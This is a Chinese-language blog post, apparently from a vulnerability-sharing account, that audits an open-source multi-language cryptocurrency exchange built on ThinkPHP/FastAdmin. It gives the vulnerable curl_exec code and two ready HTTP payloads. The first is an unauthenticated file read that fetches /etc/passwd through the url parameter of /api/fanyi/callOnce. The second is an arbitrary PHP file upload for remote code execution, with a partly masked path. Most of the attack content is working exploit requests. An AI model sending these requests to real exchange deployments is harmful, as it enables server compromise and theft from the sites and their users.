【0day】Turkey Global全开源9语言交易所审计

发布于2025年5月13日2025年7月19日作者:cve-20

【0day】Turkey Global全开源9语言交易所审计

阿乐你好 2025-05-13 01:00

点击上方
蓝字
关注我们并设为
星标

0x00 前言

项目编号-10004 漏洞评估:9.8

Turkey Global全开源9语言交易所源码/币币交易/合约交易/秒合约交易/C2C交易/新币认购/理财，后端是fastadmin框架，计划任务用的是宝塔的监控插件，手机端没有k线，pc端有实时k线，但是pc里面k线的行情图有报错，程序自带了在线客服的插件.

Fofa指纹:
暂不公开

框架:ThinkPHP 5.0.24 Debug:True

0x01 前台任意文件读取漏洞

位于 /application/api/controller/Fanyi.php 控制器的 callOnce 方法通过传入url参数，进入curl_exec 中，导致漏洞产生.public function callOnce($url, $args=null, $method=”post”, $withCookie = false, $timeout = 10, $headers=array()) {/{{{/ $ch = curl_init(); if($method == “post”) { $data = $this->convert($args); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_POST, 1); } else { $data = $this->convert($args); if($data) { if(stripos($url, “?”) > 0) { $url .= “&$data”; } else { $url .= “?$data”; } } } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); if(!empty($headers)) { curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } if($withCookie) { curl_setopt($ch, CURLOPT_COOKIEJAR, $_COOKIE); } $r = curl_exec($ch); curl_close($ch); return $r; }
Payload:

GET /api/fanyi/callOnce?url=file:///etc/passwd HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: no-cacheConnection: keep-aliveHost: 192.168.200.128Pragma: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36

0x02 前台RCE漏洞

位于 /*///*** 的FileUpload方法存在任意文件上传漏洞，且未加过滤，导致漏洞产生.

Payload:

POST /***/***/****/****/fileUpload HTTP/1.1Host: 192.168.200.128Content-Length: 997User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHx58bwavVjamnK8oAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close------WebKitFormBoundaryHx58bwavVja...... 完整Payload在文末------WebKitFormBoundaryHx58bwavVjaContent-Disposition: form-data; name="file"; filename="1.php"Content-Type: application/octet-stream<?php phpinfo();?>------WebKitFormBoundaryHx58bwavVjamnK8o--